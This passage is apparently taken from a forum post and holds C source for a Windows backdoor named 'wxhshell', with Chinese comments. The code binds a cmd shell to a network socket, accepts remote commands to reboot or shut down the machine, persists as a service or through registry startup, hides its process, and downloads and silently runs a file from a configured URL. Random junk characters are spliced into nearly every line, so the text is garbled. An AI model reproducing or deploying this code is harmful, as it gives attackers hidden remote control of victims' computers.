    switch(cmd[0]) { VemgG)\  
  C~.7m-YW  
  // 帮助 6Hz45  
  case '?': { _N5$>2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g_\U-pzr  
    break; dHnR)[?e  
  } 8kz7*AO  
  // 安装 d`U{-?N>  
  case 'i': { jOppru5U  
    if(Install()) ?3wEO>u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1'dL8Y  
    else `b^eRnpR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 85P7I=`*d  
    break; f>Mg.9gJ(  
    } ;Zb+WGyj  
  // 卸载 5+<<:5_6l  
  case 'r': { ssv4#8p3  
    if(Uninstall()) $okGqu8z.O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !xm87I  
    else  R ^Wed  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); , 4Vr,?"EO  
    break; ?d)I!x,;;  
    } ~ l~ai>/  
  // 显示 wxhshell 所在路径 \Lxsg! wtJ  
  case 'p': { D}1Z TX_  
    char svExeFile[MAX_PATH]; &[*F!=%8  
    strcpy(svExeFile,"\n\r"); H]5%"(h  
      strcat(svExeFile,ExeFile); u:r'&#jb~@  
        send(wsh,svExeFile,strlen(svExeFile),0); H@$\SUc{  
    break; ?:(BkY,K5  
    } Z }(,OZh  
  // 重启 3+gp_7L  
  case 'b': { {O-,JCq/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {umdW x.*  
    if(Boot(REBOOT)) )K2,h5zU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yjUSM}$  
    else { q| p6UL9  
    closesocket(wsh); 1*{` .  
    ExitThread(0); xWX1P%`  
    } )BR6?C3  
    break; >'4Bq*5>  
    } lg_X|yhL  
  // 关机 b&BSigrvou  
  case 'd': { bKsl'3~ k  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,&S:(b[D  
    if(Boot(SHUTDOWN)) $gm`}3C<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "G\OKt'Z  
    else { LJK<Xen  
    closesocket(wsh); ;W6P$@'zs  
    ExitThread(0); x/Pi#Xm  
    } -=aI!7*"$  
    break; E5.3wOE  
    } G*_$[|H  
  // 获取shell L M  
  case 's': { =}txcA+  
    CmdShell(wsh); sr!m   
    closesocket(wsh); eIjn~2^  
    ExitThread(0); /P bN!r<1  
    break; wjGD[~mB  
  } ]r;-Lx{F  
  // 退出 tZR%s  
  case 'x': { y=)Cid  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^<fN  
    CloseIt(wsh); .b*%c?e  
    break; P#5&D*`}h  
    } J1kG'cH05  
  // 离开 9$7tB  
  case 'q': { i9?$BZQ[R  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .K>r ao'  
    closesocket(wsh); Bi?+e~R  
    WSACleanup(); 1Wzm51RU  
    exit(1); k^-HY[Q9  
    break; .^BL7  
        } j #e^PK <  
  } Tl9KL%9  
  } Jwzkd"D  
&Pu}"M$[MH  
  // 提示信息 iXpLcHi  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z)B5g>  
} Qzbelt@Wx  
  } 6j9P`#Lt  
R1Jj 3k  
  return; 9l9h*P gt  
} I9GRSm;0<  
|` gSkv  
// shell模块句柄 >, 22@4  
int CmdShell(SOCKET sock) vCE1R]^A.]  
{ Tdvw7I-q  
STARTUPINFO si; L=zt\L  
ZeroMemory(&si,sizeof(si)); _:|/4.]`_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0^htwec!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zx  
PROCESS_INFORMATION ProcessInfo; |ho|Kl `=  
char cmdline[]="cmd"; fyat-wbb  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |`d5Y#26  
  return 0; rdd%"u+  
} V4Yw"J  
=sVB.P  
// 自身启动模式 -' 7I|r  
int StartFromService(void) 5N=QS1<$5  
{ >P*wK9|(  
typedef struct bbevy!m  
{ cY1d6P0  
  DWORD ExitStatus; 871taL=  
  DWORD PebBaseAddress; nY7 ZK  
  DWORD AffinityMask; (xnXM}M&2Y  
  DWORD BasePriority; @ %LrpD  
  ULONG UniqueProcessId; ^VCgc>x;  
  ULONG InheritedFromUniqueProcessId; u*/.   
}   PROCESS_BASIC_INFORMATION; (dl7+  
6`$HBX%.K  
PROCNTQSIP NtQueryInformationProcess; zX+NhTTB  
 'Q\I@s }  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /DPD,bA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~Xa8\>  
$@y<.?k>UP  
  HANDLE             hProcess; 83io@*D  
  PROCESS_BASIC_INFORMATION pbi; D;%(Z!  
S+LE ASOr  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Lw EI   
  if(NULL == hInst ) return 0; ]+RBykr  
0'ha!4h3Z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0Q]@T@F.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^(5Up=.EA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |> mx*G  
-X#Zn>#  
  if (!NtQueryInformationProcess) return 0; uh`W} n  
'xO5Le(=M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KrwG><+j  
  if(!hProcess) return 0; )%D2JC  
}[a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5.st!Lp1  
a#i;*J  
  CloseHandle(hProcess); =b+W*vUAw  
~/0 t<^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o' U::  
if(hProcess==NULL) return 0; ,'~8{,h5  
NE Br) ~  
HMODULE hMod; 7aAT  
char procName[255]; hrsMAh!  
unsigned long cbNeeded; }*4K{<02  
%au2kG,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fI:j@Wug  
.<Y7,9;YEF  
  CloseHandle(hProcess); Y/\y"a  
.QRa{l_)  
if(strstr(procName,"services")) return 1; // 以服务启动 *_Y{wNF *  
d51.Tbt#%7  
  return 0; // 注册表启动 <3aiS?i.h  
} !)1r{u  
p$r=jF&  
// 主模块 O>P792)  
int StartWxhshell(LPSTR lpCmdLine) cuenDw=eC  
{ MXy~kb&  
  SOCKET wsl; [ 0? *J<d  
BOOL val=TRUE; ]Puu: IG  
  int port=0; ,Jqi J?,4C  
  struct sockaddr_in door; yht|0mZV  
{FV_APL9_  
  if(wscfg.ws_autoins) Install(); i9KQpWG:  
S.,om;`  
port=atoi(lpCmdLine); EJF*_<f9O  
AcF6p)@_  
if(port<=0) port=wscfg.ws_port; tPDd~fOk  
FdT@}  
  WSADATA data; Yvky=RM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U Ps7{We W  
2"Oj* ;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R $vo  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OMaG*fb=  
  door.sin_family = AF_INET; }= )  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {<\[gm\X  
  door.sin_port = htons(port); aZK%?c  
>]DnEF&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 85$W\d  
closesocket(wsl); BT?)-wS  
return 1; )_$F/ug  
} mGf@J6wGz  
XJ\ j0  
  if(listen(wsl,2) == INVALID_SOCKET) { "?_r?~sJx  
closesocket(wsl); Aw]W-fx  
return 1; Aqi9@BH  
} 3v oas  
  Wxhshell(wsl); x3dP`<   
  WSACleanup(); (`z`ni  
V\C$/8v  
return 0; M oIq)5/  
)vO?d~x|  
} z: x|;Ps!  
:i;iSrKy  
// 以NT服务方式启动 Yv}V =O%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t)O8ON  
{ :BIgrz"Jz  
DWORD   status = 0; y81B3`@  
  DWORD   specificError = 0xfffffff; cr;\;Ta_!W  
XeGtge/}T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @"B"*z-d  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Sb9O#$89  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D_n(T ')  
  serviceStatus.dwWin32ExitCode     = 0; *^]lFuX\&E  
  serviceStatus.dwServiceSpecificExitCode = 0; P, (#' W  
  serviceStatus.dwCheckPoint       = 0; ups] k?4  
  serviceStatus.dwWaitHint       = 0; ,!m][  
^ Tr )gik  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); xy/B<.M1  
  if (hServiceStatusHandle==0) return; O@$wU9 D<  
}]i re2j8  
status = GetLastError(); WfnBWSA2 T  
  if (status!=NO_ERROR) m[k@\xS4e  
{ Klw\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Sqt '}  
    serviceStatus.dwCheckPoint       = 0; 3k5C;5  
    serviceStatus.dwWaitHint       = 0; JjD'2"z  
    serviceStatus.dwWin32ExitCode     = status; nhbCk6Y5LZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; ZS@Gt  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :Adx7!6  
    return; SHc<`M'+  
  } U$-;^=;  
~Ogtgr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; X4- _l$j  
  serviceStatus.dwCheckPoint       = 0; 7Nw} }  
  serviceStatus.dwWaitHint       = 0; ]HpKDb0+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `^mPq?f  
} BtPUUy.  
}"V$li  
// 处理NT服务事件,比如:启动、停止 L<GF1I)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) k7R8Q~4  
{ mX4u#$xs:  
switch(fdwControl) #Tr>[ZC  
{ 2HxT+|~d6  
case SERVICE_CONTROL_STOP: V>8)1)dF  
  serviceStatus.dwWin32ExitCode = 0; s>pOfXIx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ZQ&A '(tt4  
  serviceStatus.dwCheckPoint   = 0; s8/sH];  
  serviceStatus.dwWaitHint     = 0;  `PV+.V}  
  { Z#J cN quM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T7wy{;  
  } ucVWvXCr  
  return; hkK+BmMj\  
case SERVICE_CONTROL_PAUSE: ]bPj%sb*@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k|O?qE1hP  
  break; `|t X[':  
case SERVICE_CONTROL_CONTINUE: 5tSR2gG#K,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; NXJyRAJ*%  
  break; {*X8!P7C  
case SERVICE_CONTROL_INTERROGATE:  AU3Ou5  
  break; YY&3M  
}; zF%'~S0{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +PCsp'D d  
} Vy+%sG q"  
't3@dz_dG  
// 标准应用程序主函数 [(hB%x_"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &~%( RO  
{ `u./2]n  
SGZ]_  
// 获取操作系统版本 gwf *M3(  
OsIsNt=GetOsVer(); ZPM,ZGlu:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (Wj2%*NT  
BIFuQ?j3  
  // 从命令行安装 v(ATbY75  
  if(strpbrk(lpCmdLine,"iI")) Install(); mt0ZD}E  
sRM3G]nUr  
  // 下载执行文件 P,(Tu.EPk  
if(wscfg.ws_downexe) { x[ sSM:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [P,/J$v^~  
  WinExec(wscfg.ws_filenam,SW_HIDE); &oA p[]  
} O_f+#K)  
qtx5N)J6  
if(!OsIsNt) { U%Igj:%?;`  
// 如果时win9x,隐藏进程并且设置为注册表启动 -y@5% _-  
HideProc(); v,\2$q/  
StartWxhshell(lpCmdLine); SS4'yaQ  
} BFCF+hU^6R  
else c|kQ3(  
  if(StartFromService()) i$Rlb5RU  
  // 以服务方式启动 5M.KF;P  
  StartServiceCtrlDispatcher(DispatchTable); Y|s?9'z  
else 7c:5 Ey  
  // 普通方式启动 Qp~W|zi(  
  StartWxhshell(lpCmdLine); Fu K(SP3  
:6^8Q,C1@  
return 0; ""j(wUp-W  
}
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只看该作者 1 发表于: 2006-10-10
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